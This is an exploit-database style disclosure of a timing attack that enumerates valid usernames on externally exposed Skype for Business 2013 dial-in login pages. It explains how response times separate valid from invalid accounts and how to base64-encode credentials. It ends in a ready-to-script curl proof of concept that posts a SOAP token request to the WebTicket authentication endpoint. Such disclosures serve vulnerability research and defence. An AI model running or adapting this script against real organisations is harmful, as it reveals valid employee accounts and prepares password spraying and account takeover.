# Exploit Title: Skype for Business 2013 user enumeration timing attack # Date: 2016-06-08 # Exploit Author: nyxgeek # Vendor Homepage: https://www.microsoft.com # Version: Skype for Business 2013 # # # Skype for Business 2013 is vulnerable to a timing attack that allows for username enumeration # # When Skype/Lync is exposed externally, a login page will be located at https://dialin.domain.com. # # In the attack, a short response time indicates a valid username, whereas a long response time # indicates an invalid username. This was tested in a large AD environment with many OUs and # thousands of accounts. # # It is possible that the difference in response times may be smaller in smaller AD environments # # For example: # Valid username response time - 0.49s # Invalid username response time - 3.54s # # # Usernames and passwords are both base64-encoded without a newline, and submitted in the form # of DOMAIN\username. # # When generating the base64 on linux use the -n parameter with echo to exclude the newline char # echo -n "DOMAIN\username" | base64 # # This was reported to Microsoft on 2016-06-07 but it 'does not meet the bar for security servicing' # # Below is a proof of concept curl command, which can be thrown into a bash script for ease of use. #!/bin/bash curl -o /dev/null -w "\n\nTOTAL TIME IS %{time_total}\n\n" -i -s -k -X 'POST' \ -H 'User-Agent: Just looking around' \ -H 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' \ -H 'Keep-Alive: 300' -H 'Content-Type: text/xml' \ -H 'SOAPAction: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue' \ -H 'Referer: https://dialin.domain.com/Dialin/Conference.aspx' \ --data-binary $'<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\";><s:Header><Security s:mustUnderstand=\"1\" xmlns:u=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\"; xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\";><UsernameToken><Username>RE9NQUlOXHVzZXJuYW1l</Username><Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\";>c2VjcmV0cGFzc3dvcmQ=</Password></UsernameToken></Security></s:Header><s:Body><RequestSecurityToken xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"; xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"; Context=\"ec86f904-154f-0597-3dee-59eb1b51e731\" xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\";><TokenType>urn:component:Microsoft.Rtc.WebAuthentication.2010:user-cwt-1</TokenType><RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</RequestType><AppliesTo xmlns=\"http://schemas.xmlsoap.org/ws/2004/09/policy\";><EndpointReference xmlns=\"http://www.w3.org/2005/08/addressing\";><Address>https://dialin.domain.com/WebTicket/WebTicketService.svc/Auth</Address></EndpointReference></AppliesTo><Lifetime><Created xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\";>2016-06-07T02:23:36Z</Created><Expires xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\";>2016-06-07T02:38:36Z</Expires></Lifetime><KeyType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/SymmetricKey</KeyType></RequestSecurityToken></s:Body></s:Envelope>' \ 'https://dialin.domain.com/WebTicket/WebTicketService.svc/Auth'
